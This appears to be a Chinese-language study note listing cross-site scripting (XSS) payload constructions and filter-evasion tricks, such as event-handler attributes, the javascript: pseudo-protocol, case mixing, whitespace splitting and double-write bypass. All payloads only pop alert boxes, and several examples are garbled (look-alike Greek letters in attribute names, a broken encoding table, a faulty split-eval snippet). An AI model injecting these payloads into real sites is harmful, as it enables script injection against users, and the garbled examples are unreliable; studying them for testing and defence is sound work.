1、XSS构造方法
1.1 利用<>构造HTML标签和<script>
例如:<script>alert(/xss/)</script>
<script>confirm("完成的不错!")</script>
<script>prompt("完成的不错!")</script>
<script>alert("完成的不错!")</script>
1.2 伪协议 javascript:alert(/xss/)
例如:<a href="javascript:alert(/xss/)">touch me!</a>,通过href是创建一个超链接,点击超链接,触发xss
1.3 产生自己的事件
“事件驱动”是一种比较经典的编程思想,在网页中会发生很多事件(例如鼠标移动,键盘输入等),JS可以对这些事件进行相应,所以我们可以通过事件触发JS函数,触发xss
事件种类:
windows事件 -------对windows对象触发事件
Form事件 -------HTML表单内的动作触发事件
Keyboard事件 -------键盘按键
Mouse事件 -------由鼠标或类型用户动作触发事件
Media事件 -------由多媒体触发事件
<img src='./smile.jpg'> οnmοuseοver='alert(/xss/)'---这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码
<input type="text" οnkeydοwn="alert(/xss/)">---当点击键盘任意一个按键的时候触发xss
<input type="text" οnkeyup="alert(/xss/)">
<input type="button" οnclick="alert(/xss/)">
<img src="#" οnerrοr='alert(/xss/)'>
1.4 其他标签以及手法
<input οnfοcus=alert(/xss/) autofocus>
2、XSS变形
2.1 大小写
<a hREf="javascript:alert(/xss/)">touch me!</a> (alert属于js函数,不可以大小写,href属于html语言,html对大小写不明感)
2.2 引号的使用
<img src="#" οnerrοr="alert(/xss/)" />-----双引号
<img src='#' οnerrοr='alert(/xss/)' />-----单引号
<img src=# οnerrοr=alert(/xss/) />-----无引号
2.3 [/]代替空格
<img/src='#'/οnerrοr='alert(/xss/)' />
2.4 回车/TAB
方法一:<a hREf="j
avascript:alert(/xss/)">touch me!</a>
方法二
<a hREf="j
a v
a s
c r
i p
t :
alert(/xss/)">touch me!</a>
2.5 编码
字母 ASCII 十进制 十六进制
a 97 a a
<a hREf="javascript:alert(/xss/)">touch me!</a>
2.5 拆分跨站
<script>z='alert'</script>
<script>z=a+'(/xss/)'</script>
<script>eval(z)</script>
2.5 双写绕过
<script>
<scr<script>ipt>